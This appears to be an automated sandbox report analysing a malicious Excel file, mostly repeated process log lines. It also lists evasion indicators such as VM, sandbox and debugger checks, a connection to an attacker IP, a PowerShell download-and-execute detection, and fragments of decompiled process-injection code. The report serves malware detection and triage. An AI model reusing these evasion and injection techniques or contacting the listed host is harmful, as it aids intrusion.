Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx	Stream path 'Workbook' entropy: 7.99380030039 (max. 8.0)
Source: 46930000.0.dr	Stream path 'Workbook' entropy: 7.98848625178 (max. 8.0)

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.0000000002465000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024EE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 3D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 5B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3176	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6790	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 704	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3002	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.dll

Jump to dropped file

Source: C:\Windows\System32\mshta.exe TID: 1688	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3084	Thread sleep count: 3176 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3084	Thread sleep count: 6790 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3128	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3132	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\wscript.exe TID: 3300	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3416	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3420	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3420	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3420	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3484	Thread sleep time: -180000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: AddInProcess32.exe, 0000000E.00000002.619170569.00000000024EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: AddInProcess32.exe, 0000000E.00000002.619170569.00000000024EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: AddInProcess32.exe, 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 14_2_003D5310 CheckRemoteDebuggerPresent,

14_2_003D5310

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 94.156.65.247 80

Jump to behavior

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref (string)(&name)), ref (string)(&method)), typeof(CreateApi)))
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref (string)(&name)), ref (string)(&method)), typeof(CreateApi)))
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs	Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num7 + num14, array2, array2.Length, ref bytesWritten)
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs	Reference to suspicious API methods: lIuveTP8wwjVYKV1XP(VirtualAllocEx, processInformation.ProcessHandle, 0, length, 12288, 64)
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num15 + 8, ref buffer, 4, ref bytesWritten)
Source: 12.2.powershell.exe.12778558.2.raw.unpack, Ljq6xD21ACX.cs	Reference to suspicious API methods: OZkujShDCVG.OpenProcess(aPNZ30.DuplicateHandle, bInheritHandle: true, (uint)snUp2.ProcessID)

